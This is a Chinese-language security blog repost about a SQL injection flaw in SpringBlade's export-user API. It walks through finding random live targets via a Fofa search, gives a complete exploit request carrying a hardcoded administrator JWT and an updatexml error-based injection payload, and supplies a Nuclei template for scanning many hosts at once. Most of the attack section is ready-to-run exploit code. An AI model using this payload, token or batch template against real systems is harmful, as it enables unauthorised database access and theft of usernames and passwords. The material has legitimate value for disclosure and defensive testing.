SpringBlade export-user SQL 注入漏洞

admin 2024年1月25日14:24:52评论36 views字数 2163阅读7分12秒阅读模式

SpringBlade export-user SQL 注入漏洞

SpringBlade export-user SQL 注入漏洞
SpringBlade export-user SQL 注入漏洞
SpringBlade export-user SQL 注入漏洞

漏洞简介

SpringBlade export-user SQL 注入漏洞
SpringBlade export-user SQL 注入漏洞

SpringBlade v3.2.0 及之前版本框架后台 export-user 路径存在安全漏洞,攻击者利用该漏洞可通过组件customSalSegment 进行SQL注入攻击,攻击者可将用户名、密码等敏感信息通过 excel 导出

SpringBlade export-user SQL 注入漏洞
SpringBlade export-user SQL 注入漏洞
SpringBlade export-user SQL 注入漏洞

漏洞复现

SpringBlade export-user SQL 注入漏洞
SpringBlade export-user SQL 注入漏洞

步骤一:在Fofa中搜索以下语法并随机确定要进行攻击测试的目标....

# Fofa搜索语法FOFA: body="https://bladex.vip"

步骤二:开启代理并打开BP对其首页进行抓包拦截....修改请求头内容...

GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.UHWWVEc6oi6Z6_AC5_WcRrKS9fB3aYH7XZxL9_xH-yIoUNeBrFoylXjGEwRY3Dv7GJeFnl5ppu8eOS3YYFqdeQ&account=&realName=&1-updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Accept-Encoding: gzip, deflateConnection: close

SpringBlade export-user SQL 注入漏洞

SpringBlade export-user SQL 注入漏洞
SpringBlade export-user SQL 注入漏洞
SpringBlade export-user SQL 注入漏洞

批量脚本

SpringBlade export-user SQL 注入漏洞
SpringBlade export-user SQL 注入漏洞
id: template-idinfo:  name: Template Name  author: kali  severity: info  description: description  reference:    - https://  tags: tagsrequests:  - raw:      - |        GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.UHWWVEc6oi6Z6_AC5_WcRrKS9fB3aYH7XZxL9_xH-yIoUNeBrFoylXjGEwRY3Dv7GJeFnl5ppu8eOS3YYFqdeQ&account=&realName=&1-updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1 HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Accept-Encoding: gzip, deflate        Connection: close    matchers:      - type: word        part: body        words:          - 'XPATH'

    

原文始发于微信公众号(揽月安全团队):SpringBlade export-user SQL 注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月25日14:24:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpringBlade export-user SQL 注入漏洞https://cn-sec.com/archives/2405046.html

发表评论

匿名网友 填写信息